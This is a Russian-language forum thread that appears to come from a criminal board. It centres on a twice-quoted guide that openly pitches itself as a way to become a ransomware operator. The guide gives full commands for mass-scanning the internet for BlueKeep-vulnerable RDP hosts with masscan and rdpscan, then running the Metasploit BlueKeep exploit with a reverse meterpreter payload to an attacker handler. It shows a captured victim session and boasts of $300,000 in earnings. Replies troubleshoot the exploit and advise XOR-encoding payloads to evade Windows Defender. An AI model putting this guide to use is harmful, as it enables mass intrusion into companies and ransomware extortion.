Статья Добываем доступы в корпы через паблик RCE

jonni78 · 30.03.2021

Приветствую. сложно найти рабочий таргет. один и тот же ответ
[*] XX.97.30.XX:3389 - Executing automatic check (disable AutoCheck to override)
[*] XX.97.30.67:3389 - Using auxiliary/scanner/rdp/cve_2019_0708_bluekeep as check
[+] XX.97.30.67:3389 - The target is vulnerable. The target attempted cleanup of the incorrectly-bound MS_T120 channel.
[*] XX.97.30.67:3389 - Scanned 1 of 1 hosts (100% complete)
[+] XX.97.30.67:3389 - The target is vulnerable. The target attempted cleanup of the incorrectly-bound MS_T120 channel.
[-] XX.97.30.67:3389 - Exploit failed: Msf::Exploit::Remote::RDP::RdpCommunicationError Msf::Exploit::Remote::RDP::RdpCommunicationError

GROOMSIZE => от 50 до 200 меняю, в чем проблемка? может стандартный експлойт сменить.

jonni78 · 30.03.2021

ссыль может у кого на не пропатченый образ есть?

Pent · 30.03.2021

jonni78 сказал(а):

Приветствую. сложно найти рабочий таргет. один и тот же ответ
[*] XX.97.30.XX:3389 - Executing automatic check (disable AutoCheck to override)
[*] XX.97.30.67:3389 - Using auxiliary/scanner/rdp/cve_2019_0708_bluekeep as check
[+] XX.97.30.67:3389 - The target is vulnerable. The target attempted cleanup of the incorrectly-bound MS_T120 channel.
[*] XX.97.30.67:3389 - Scanned 1 of 1 hosts (100% complete)
[+] XX.97.30.67:3389 - The target is vulnerable. The target attempted cleanup of the incorrectly-bound MS_T120 channel.
[-] XX.97.30.67:3389 - Exploit failed: Msf::Exploit::Remote::RDP::RdpCommunicationError Msf::Exploit::Remote::RDP::RdpCommunicationError

GROOMSIZE => от 50 до 200 меняю, в чем проблемка? может стандартный експлойт сменить.

Посмотри ширину канала может не успевает передать пакеты, список таргетов делайте не больше 300-500. Заметил роль играет впс на котором установлен метасплоит. С данного эксплоита все еще много инсталов но надо игратся с настройками.

DrSleep · 30.03.2021

Pent сказал(а):

Посмотри ширину канала может не успевает передать пакеты, список таргетов делайте не больше 300-500. Заметил роль играет впс на котором установлен метасплоит. С данного эксплоита все еще много инсталов но надо игратся с настройками.

Какая разница сколько таргетов, если работает в 1 поток?

Pent · 30.03.2021

DrSleep сказал(а):

Какая разница сколько таргетов, если работает в 1 поток?

заметил такую особенность что первые 10-15 ip будто пропускает

mmamba777 · 01.04.2021

boriselcin сказал(а):

Как заработать от 1к до 100к баксов за месяц почти без вложений?

Привет коммуннити! Сегодня я расскажу вам как стать рансомварщиками, практически без вложений.
Мы будем добывать точки входа в мелкие и средние компании, при помощи metasploit при этом вложив 100 баксов в покупку лишь 2 х vps
Что нужно:
2 vps сервера на Ubuntu (желательно абузоустойчивые топовая конфигурация будет не нужна поэтому 100 баксов вам должно хватить)
PS вы можете взять любую другую OS я буду описывать настройку именно на убунту

Intro первоначальная настройка впс для работы с метой
У нас есть чистая ubuntu
нактим xrdp + xfce оболочку (мне так удобней вы можете взамидействоать с сервером п ssh)

Обновим пакеты
sudo apt-get update

Накатим xrdp для работы через терминальные сессии

sudo apt-get install xrdp

Установим облочку xfce можно поставить mate например (но стабильней всего с терминальным серверовм работает именно xfce)

sudo apt-get install xfce4 xfce4-terminal

Разрешим xrdp исользовать эту оболчку

sudo sed -i.bak '/fi/a #xrdp multiple users configuration n xfce-session n' /etc/xrdp/startwm.sh

Включаем xrpd

Сорян ошибки граматики пунктуации и синтаксиса писал на колонке ничего не редактируя, если кто то захочет дополнить или записать видео по этой теме закину 50-100 баксов для мотивации)

sudo systemctl enable xrdp

Done теперь вы можете работать с сервером через терминальную сессию

поставим удобный текстовый редактор gedit

sudo apt-get install gedit

Поставим htop для мониторинга загруженности системы

sudo apt-get install htop

Установка metasploit, БД к нему подтягивать не будем она не понадобиться

качаем метасплойт курлом или wget
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall

даем права chmod 755 msfinstall

sudo ./msfinstall

Теперь при наборе msfconsole в шелле метасплойт запуститься.

II выбор RCE и подготовка материала

Добывать свой хлеб мы будем данной уязвимостью

xttps://en.wikipedia.org/wiki/BlueKeep

в метасплойте есть rce для него

exploit/windows/rdp/cve_2019_0708_bluekeep_rce

Данное rce для протокола rdp оно крайне не стабильно, но приносит хорошие доступы)

С RCE мы определились

теперь нам нужен материал, то есть уязвимые машины в клирнете под блюкип

В идеале если у вас будут подсети с maxmaind и софт для пентеста от z668, он нужен исключительно для чека на RDP сервис дабы не тратить время и пропускать порты все что не относиться к рдп

лучше всего сканировать рандомные TCP порты и потом проверять их на сервис рдп

Я покажу на примере стандандартного 3389 порта

Установим еще 2 софта для сканирования портов (masscan) и rdpscan для проверку на узвимый bluekeep

ставим все не обходимое для работы масскана sudo apt-get install git gcc make libpcap-dev
затягиваем сорсы к себе git clone https://github.com/robertdavidgraham/masscan
переходим в каталог с массканом cd masscan
собираем в многопотоке make -j

Качаем бесплатно либо покупаем депы IP адресов

masscan -iL ip.txt -oL res4.txt -p 3389 --rate 100000 --exclude 255.255.255.255
данные параметры возьмут депы из фаила res4.txt просканируют порт 3389 с рейтом 100 000 исключая 255.255.255.255 подсеть

awk '{ print $4,$3 }' OFS=":" res4.txt > 4433.txt

выдаст чистые результаты IP с output фаила масскана

Ставим сканер на уязвимость блюкип и все необходимо для его работы

sudo apt-get install libssl-dev sudo apt-get install build-essential

git clone https://github.com/robertdavidgraham/rdpscan.git
cd /rdpscan/
компилируем make -j

Запуск сканера

./rdpscan --workers 500 --port 3389 --file /root/rdpscan/ch2.txt grep 'VULN' | cut -f1 -d'-' >results.txt

--workers 500 (количество воркеров стоит отписальное количество зависит от вашей конфигурации сервера )

--port 3389 порт который сканируем

--file /root/rdpscan/ch2.txt путь до фаила с ипами

grep 'VULN' выбираем только уязвимые и записываем в фаил >results.txt

III получаем доступы

Я буду использовать стандартный пейлоад метасплойта для закрепления, можно ипользовать кобальт страйк или любую другую систему пост эксплуатации но статья расчитана на тех у кого нет нихуя даже кряка, будем использовать метерперетер

и так запускаем метасплойт

msfconsole

И сразу открываем второе окно терминала и там опять запускаем метасплойт

В первом окне делаем handler (туда будут лететь сессии отдельным окном)

use exploit/multi/handler

set payload windows/x64/meterpreter/reverse_tcp_rc4 (выбираем пелоад реверс (когда цель подключаеться к нам) с шифрованием )
set EXITFUNC thread
EXITFUNC есть 3 разных значения: thread, process, seh
мы используем thread он используеться почти везде и работает достаточно хорошо
запускает шелл-код в подпотоке, и выход из этого потока приводит к рабочему приложению / системе.

set LHOST хост нашей впс
set LPORT порт где будет висит слушатель
set RC4PASSWORD PASSS ( пароль для RC4)
set ExitOnSession 0 (данный параметр будет держать сессию всегда онлайн (тоесть не будет слипа может привести к быстрому спаливанию))
setg SessionLogging y включить логирование
setg loglevel 1 уровень логирования
run -j запуск

хэндлер готов и ожидает коннектов

переходим во второе окно
Bluekeep
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
set payload windows/x64/meterpreter/reverse_tcp_rc4
set EXITFUNC thread
set DisablePayloadHandler 1 (обязтаельно 1 что бы сесия летела в отдельное окно)
set LHOST ип впс
set LPORT порт (указывать такой же как и в хэндлере)
set RC4PASSWORD PASSS (пароль такой же как в хэндлере)
set ConnectTimeout 5 (таймаут)
set GROOMSIZE 100 (количество мегабайт которыми будет заспамливаться хост играйтесь с парметрами от 100 до 250 ) всегда будут прилетать разные машины
set GROOMCHANNELCOUNT 1
set forceexploit 1 исполнять принудетельно
set target 1 (дефолтный таргет тут менять ничего не нужно )
set rhosts file:/root/rdpscan/4.txt (путь до фаила с уязмимыми машинами)
set RPORT (если вы используете не старндартый порт для RDP если 3389 то его можно не указывать он стоит по дефолту)
run - запуск

через какое то время в хендлер полетят сесии

Computer : V-RDS-01 OS : Windows 2008 R2 (6.1 Build 7601, Service Pack 1). Architecture : x64 System Language : en_GB Domain : BROWNHILLS Logged On Users : 41 Meterpreter : x64/windows

Вам остается только закрепляться и отбирать доступы)

Enjoy

c Апреля по по Июль я заработал блюкипом около 300.000 USD чистыми деньгами, таким способом можно поймать
компании с ревеню до 100 миллонов,
тем самым поучиться пентесту не покупая мат, в этой теме вы можете задавать вопросы

Респект и Уважуха...))) за пол дня результат...правда вьехать пару дней понадобилось....еще закрепится автоматом на машинах....так все пашет кто что не говорил...еще раз уважуха Автору

C0rtex · 03.04.2021

ну да четкая тема)

boriselcin · 03.04.2021

Вы его все мучаете?)

mmamba777 · 03.04.2021

boriselcin сказал(а):

Вы его все мучаете?)

Да...сам подход в мете....в ожидании новых статей..))))

lerato · 03.04.2021

boriselcin сказал(а):

Вы его все мучает

Не мы его, а Он нас мучает

А что есть новая тема? давай, намекни хотябо

blackteam007 · 03.04.2021

сейчас мне кажется актуальнее будет юзать связку Beef + metasploit но под beef нужен будет мощный vps пробывал давненько лить на него трафик сервак правда слабенький был не заехала тема при проливе больше 1к трафика сервак падал оперативки 4 гига и 3 ядра + но beef мне кажется лучше подойдет для точечной атаки так как все действия нужно будет выполнять вручную с каждой тачкой которая подцепилась + в beef в том что он часто обновляется и у них уже есть експлойты под chrome

C0rtex · 03.04.2021

boriselcin сказал(а):

Вы его все мучаете?)

ну да согласен с ребятами, подкинь новые плюшки) всем нам

blackteam007 · 03.04.2021

если юзаете payload metasploit то чтобы деф не палил не используйте метод кодирования "x86/shikata_ga_nai" лучше юзайте xor + выбирайте не меньше 5 итераций тестировал на c# при добавлении шелла закодированного таким методом дефендер в скантайме и в рантайме не палит

Yes · 03.04.2021

blackteam007 сказал(а):

если юзаете payload metasploit то чтобы деф не палил не используйте метод кодирования "x86/shikata_ga_nai" лучше юзайте xor + выбирайте не меньше 5 итераций тестировал на c# при добавлении шелла закодированного таким методом дефендер в скантайме и в рантайме не палит

на каком шелле тестил, если не секрет?

blackteam007 · 03.04.2021

sw9tou сказал(а):

на каком шелле тестил, если не секрет?

meterpreter)) его использовал чисто для обхода дефендера

blackteam007 · 03.04.2021

по antiscan, metadefender и аверским сендбоксам файл чистый если юзать шифрование xor если стандартно шикатаганаи юзать то детектов вагон

dictat0r · 07.04.2021

for all the people intersted in a list of ips you should probably exclude from masscan so not get ip burnt

yashechka · 19.04.2021

boriselcin сказал(а):

Как заработать от 1к до 100к баксов за месяц почти без вложений?

Привет коммуннити! Сегодня я расскажу вам как стать рансомварщиками, практически без вложений.
Мы будем добывать точки входа в мелкие и средние компании, при помощи metasploit при этом вложив 100 баксов в покупку лишь 2 х vps
Что нужно:
2 vps сервера на Ubuntu (желательно абузоустойчивые топовая конфигурация будет не нужна поэтому 100 баксов вам должно хватить)
PS вы можете взять любую другую OS я буду описывать настройку именно на убунту

Intro первоначальная настройка впс для работы с метой
У нас есть чистая ubuntu
нактим xrdp + xfce оболочку (мне так удобней вы можете взамидействоать с сервером п ssh)

Обновим пакеты
sudo apt-get update

Накатим xrdp для работы через терминальные сессии

sudo apt-get install xrdp

Установим облочку xfce можно поставить mate например (но стабильней всего с терминальным серверовм работает именно xfce)

sudo apt-get install xfce4 xfce4-terminal

Разрешим xrdp исользовать эту оболчку

sudo sed -i.bak '/fi/a #xrdp multiple users configuration n xfce-session n' /etc/xrdp/startwm.sh

Включаем xrpd

Сорян ошибки граматики пунктуации и синтаксиса писал на колонке ничего не редактируя, если кто то захочет дополнить или записать видео по этой теме закину 50-100 баксов для мотивации)

sudo systemctl enable xrdp

Done теперь вы можете работать с сервером через терминальную сессию

поставим удобный текстовый редактор gedit

sudo apt-get install gedit

Поставим htop для мониторинга загруженности системы

sudo apt-get install htop

Установка metasploit, БД к нему подтягивать не будем она не понадобиться

качаем метасплойт курлом или wget
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall

даем права chmod 755 msfinstall

sudo ./msfinstall

Теперь при наборе msfconsole в шелле метасплойт запуститься.

II выбор RCE и подготовка материала

Добывать свой хлеб мы будем данной уязвимостью

xttps://en.wikipedia.org/wiki/BlueKeep

в метасплойте есть rce для него

exploit/windows/rdp/cve_2019_0708_bluekeep_rce

Данное rce для протокола rdp оно крайне не стабильно, но приносит хорошие доступы)

С RCE мы определились

теперь нам нужен материал, то есть уязвимые машины в клирнете под блюкип

В идеале если у вас будут подсети с maxmaind и софт для пентеста от z668, он нужен исключительно для чека на RDP сервис дабы не тратить время и пропускать порты все что не относиться к рдп

лучше всего сканировать рандомные TCP порты и потом проверять их на сервис рдп

Я покажу на примере стандандартного 3389 порта

Установим еще 2 софта для сканирования портов (masscan) и rdpscan для проверку на узвимый bluekeep

ставим все не обходимое для работы масскана sudo apt-get install git gcc make libpcap-dev
затягиваем сорсы к себе git clone https://github.com/robertdavidgraham/masscan
переходим в каталог с массканом cd masscan
собираем в многопотоке make -j

Качаем бесплатно либо покупаем депы IP адресов

masscan -iL ip.txt -oL res4.txt -p 3389 --rate 100000 --exclude 255.255.255.255
данные параметры возьмут депы из фаила res4.txt просканируют порт 3389 с рейтом 100 000 исключая 255.255.255.255 подсеть

awk '{ print $4,$3 }' OFS=":" res4.txt > 4433.txt

выдаст чистые результаты IP с output фаила масскана

Ставим сканер на уязвимость блюкип и все необходимо для его работы

sudo apt-get install libssl-dev sudo apt-get install build-essential

git clone https://github.com/robertdavidgraham/rdpscan.git
cd /rdpscan/
компилируем make -j

Запуск сканера

./rdpscan --workers 500 --port 3389 --file /root/rdpscan/ch2.txt grep 'VULN' | cut -f1 -d'-' >results.txt

--workers 500 (количество воркеров стоит отписальное количество зависит от вашей конфигурации сервера )

--port 3389 порт который сканируем

--file /root/rdpscan/ch2.txt путь до фаила с ипами

grep 'VULN' выбираем только уязвимые и записываем в фаил >results.txt

III получаем доступы

Я буду использовать стандартный пейлоад метасплойта для закрепления, можно ипользовать кобальт страйк или любую другую систему пост эксплуатации но статья расчитана на тех у кого нет нихуя даже кряка, будем использовать метерперетер

и так запускаем метасплойт

msfconsole

И сразу открываем второе окно терминала и там опять запускаем метасплойт

В первом окне делаем handler (туда будут лететь сессии отдельным окном)

use exploit/multi/handler

set payload windows/x64/meterpreter/reverse_tcp_rc4 (выбираем пелоад реверс (когда цель подключаеться к нам) с шифрованием )
set EXITFUNC thread
EXITFUNC есть 3 разных значения: thread, process, seh
мы используем thread он используеться почти везде и работает достаточно хорошо
запускает шелл-код в подпотоке, и выход из этого потока приводит к рабочему приложению / системе.

set LHOST хост нашей впс
set LPORT порт где будет висит слушатель
set RC4PASSWORD PASSS ( пароль для RC4)
set ExitOnSession 0 (данный параметр будет держать сессию всегда онлайн (тоесть не будет слипа может привести к быстрому спаливанию))
setg SessionLogging y включить логирование
setg loglevel 1 уровень логирования
run -j запуск

хэндлер готов и ожидает коннектов

переходим во второе окно
Bluekeep
use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
set payload windows/x64/meterpreter/reverse_tcp_rc4
set EXITFUNC thread
set DisablePayloadHandler 1 (обязтаельно 1 что бы сесия летела в отдельное окно)
set LHOST ип впс
set LPORT порт (указывать такой же как и в хэндлере)
set RC4PASSWORD PASSS (пароль такой же как в хэндлере)
set ConnectTimeout 5 (таймаут)
set GROOMSIZE 100 (количество мегабайт которыми будет заспамливаться хост играйтесь с парметрами от 100 до 250 ) всегда будут прилетать разные машины
set GROOMCHANNELCOUNT 1
set forceexploit 1 исполнять принудетельно
set target 1 (дефолтный таргет тут менять ничего не нужно )
set rhosts file:/root/rdpscan/4.txt (путь до фаила с уязмимыми машинами)
set RPORT (если вы используете не старндартый порт для RDP если 3389 то его можно не указывать он стоит по дефолту)
run - запуск

через какое то время в хендлер полетят сесии

Computer : V-RDS-01 OS : Windows 2008 R2 (6.1 Build 7601, Service Pack 1). Architecture : x64 System Language : en_GB Domain : BROWNHILLS Logged On Users : 41 Meterpreter : x64/windows

Вам остается только закрепляться и отбирать доступы)

Enjoy

c Апреля по по Июль я заработал блюкипом около 300.000 USD чистыми деньгами, таким способом можно поймать
компании с ревеню до 100 миллонов,
тем самым поучиться пентесту не покупая мат, в этой теме вы можете задавать вопросы

Правильно я понимаю, что если метасплоит за натом и на роутере проброшен порт, бэкконета все равно не будет?

Det · 19.04.2021

У меня тут такая проблема что отправка пакетов идет сессия появляется и сразу падает что делать?

kamzzzzz · 19.04.2021

yashechka сказал(а):

Правильно я понимаю, что если метасплоит за натом и на роутере проброшен порт, бэкконета все равно не будет?

Почему? Хендлер за НАТом настраиваешь по внутресетевым параметрам, эксплойт настраиваешь по внешнесетевым параметрам.

Статья Добываем доступы в корпы через паблик RCE

HDD-drive

HDD-drive

RAM

(L2) cache

RAM

RAM

Вложения

Премиум

(L3) cache

RAM

RAM

(L1) cache

Премиум

(L1) cache

ПОХУЙ

(L1) cache

(L1) cache

медведь

Вложения

Генератор контента.Фанат Ильфака и Рикардо Нарвахи

RAID-массив

(L1) cache